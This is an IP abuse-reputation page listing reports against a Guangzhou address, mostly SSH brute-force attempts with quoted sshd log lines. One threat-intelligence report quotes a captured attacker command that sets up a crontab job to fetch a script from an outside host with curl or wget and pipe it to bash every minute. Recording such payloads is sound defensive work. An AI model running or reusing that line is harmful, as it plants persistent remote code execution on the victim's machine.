JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

116.28.204.91

Neutral Activity

Abuse confidence score ?

0% Low Risk

40 reports

24 reporters · latest 10 months ago

ISP	CHINANET Guangdong province network
Usage Type	Fixed Line ISP
ASN	AS4134
Domain Name	chinatelecom.cn
Country	🇨🇳 China
City	Guangzhou, Guangdong

ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report Whois

No reports in the last 60 days

116.28.204.91 has been reported 40 times. The most recent report is from 10 months ago.

The full history is preserved below and remains searchable. A 0% score reflects the absence of recent activity, but this is not a guarantee that earlier reports were invalid. Abuse confidence score decays, naturally, over time, when the abusive activity stops.

IP Abuse Reports for 116.28.204.91

This IP address has been reported a total of 40 times from 24 distinct sources. 116.28.204.91 was first reported on October 7th 2025, and the most recent report was 10 months ago.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇹🇷 rtbh.com.tr	2025-11-20 20:10:02 (10 months ago)	list.rtbh.com.tr report: tcp/0	Brute-Force
🇹🇷 rtbh.com.tr	2025-11-19 20:10:00 (10 months ago)	list.rtbh.com.tr report: tcp/0	Brute-Force
🇹🇷 rtbh.com.tr	2025-11-18 20:09:59 (10 months ago)	list.rtbh.com.tr report: tcp/0	Brute-Force
🇩🇪 ps-center	2025-11-18 11:14:32 (10 months ago)	C2-W: Brutforce ssh Login	Brute-Force
🇩🇪 ghostwarriors	2025-11-17 17:50:25 (10 months ago)	Unauthorized connection attempt detected, SSH Brute-Force	Port Scan Brute-Force SSH
🇩🇪 H. Hampel	2025-11-17 17:41:35 (10 months ago)	2025-11-17T17:41:16.521298nc2 sshd[2695494]: Invalid user litiancheng from 116.28.204.91 port 36812 ... show more 2025-11-17T17:41:16.521298nc2 sshd[2695494]: Invalid user litiancheng from 116.28.204.91 port 36812 2025-11-17T17:41:34.261975nc2 sshd[2696928]: Invalid user guest2 from 116.28.204.91 port 55406 ... show less	Brute-Force SSH
🇨🇳 ThreatBook.io	2025-11-17 00:54:41 (10 months ago)	ThreatBook Intelligence: Scanner,vpn_proxy more details on https://threatbook.io/ip/116.28.204.91	SSH
🇩🇪 Xenic	2025-11-16 02:54:57 (10 months ago)	Nov 16 03:53:29 nuremberg-1 sshd[22135]: Invalid user fede from 116.28.204.91 port 39540 Nov 16 03:5 ... show more Nov 16 03:53:29 nuremberg-1 sshd[22135]: Invalid user fede from 116.28.204.91 port 39540 Nov 16 03:53:48 nuremberg-1 sshd[22137]: Invalid user flink from 116.28.204.91 port 35824 Nov 16 03:54:55 nuremberg-1 sshd[22145]: Invalid user gkv from 116.28.204.91 port 47108 ... show less	Brute-Force SSH
🇪🇸 saima	2025-11-16 00:00:07 (10 months ago)	Detected 529 times. SSH Brute-Force from address 116.28.204.91	Brute-Force SSH
🇨🇳 ThreatBook.io	2025-11-15 00:56:09 (10 months ago)	ThreatBook Intelligence: Scanner,vpn_proxy more details on https://threatbook.io/ip/116.28.204.91	SSH
🇩🇪 Raist	2025-11-14 14:10:19 (10 months ago)	Nov 14 15:10:05 localhost sshd[3022744]: pam_unix(sshd:auth): authentication failure; logname= uid=0 ... show more Nov 14 15:10:05 localhost sshd[3022744]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=116.28.204.91 Nov 14 15:10:08 localhost sshd[3022744]: Failed password for invalid user hgd from 116.28.204.91 port 58570 ssh2 Nov 14 15:10:19 localhost sshd[3022746]: Invalid user hbt from 116.28.204.91 port 42570 ... show less	Brute-Force SSH
Anonymous	2025-11-13 23:16:45 (10 months ago)	Nov 14 00:16:43 eiaf sshd[413169]: Connection from 116.28.204.91 port 32994 on 88.218.224.13 port 51 ... show more Nov 14 00:16:43 eiaf sshd[413169]: Connection from 116.28.204.91 port 32994 on 88.218.224.13 port 5123 rdomain "" Nov 14 00:16:44 eiaf sshd[413169]: Invalid user www from 116.28.204.91 port 32994 ... show less	DDoS Attack Port Scan Brute-Force SSH
🇨🇳 ThreatBook.io	2025-11-12 00:39:19 (10 months ago)	ThreatBook Intelligence: Scanner,vpn_proxy more details on https://threatbook.io/ip/116.28.204.91 20 ... show more ThreatBook Intelligence: Scanner,vpn_proxy more details on https://threatbook.io/ip/116.28.204.91 2025-11-11 02:49:12 ["echo \"PROC:$(grep -c ^processor /proc/cpuinfo 2>/dev/null) UNAME:$(uname -a 2>/dev/null) $((crontab -l 2>/dev/null \| grep -v gvc 2>/dev/null; echo \"* * * * * (curl -fsSL http://cc.systemctl.cc/?gvc 2>/dev/null \|\| wget -qO- http://cc.systemctl.cc/?gvc 2>/dev/null) \| bash\") \| crontab - 2>/dev/null)\"","grep -c ^processor /proc/cpuinfo 2>/dev/null","uname -a 2>/dev/null","(crontab -l 2>/dev/null \| grep -v gvc 2>/dev/null; echo * * * * * (curl -fsSL http://cc.systemctl.cc/?gvc 2 > /dev/null \|\| wget -qO- http://cc.systemctl.cc/?gvc 2 > /dev/null"] show less	SSH
🇭🇰 bluecloudwork	2025-11-10 21:33:35 (10 months ago)	Fail2Ban - Brute-force SSH server ...	Brute-Force SSH
🇩🇪 psauxit	2025-11-08 03:52:53 (10 months ago)	Fail2Ban - SSHD brute-force SSH server	SSH

Showing 1 to 15 of 40 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇭🇰 202.155.236.242

🇺🇸 195.184.76.217

🇲🇩 176.123.2.35

🇵🇱 176.53.159.198

🇺🇸 162.216.149.13

🇭🇰 123.58.215.196

🇺🇸 76.79.213.70

🇺🇸 66.132.186.242

🇺🇸 65.49.1.52

🇱🇹 62.60.130.201

🇳🇱 45.140.222.118

🇨🇳 36.134.211.170

🇬🇧 35.203.211.50

🇲🇽 187.251.123.104

🇩🇪 167.94.146.42

🇺🇸 100.28.191.174

🇹🇷 94.154.43.164

🇺🇸 54.214.106.65

🇰🇷 211.240.117.75

🇵🇪 161.132.47.66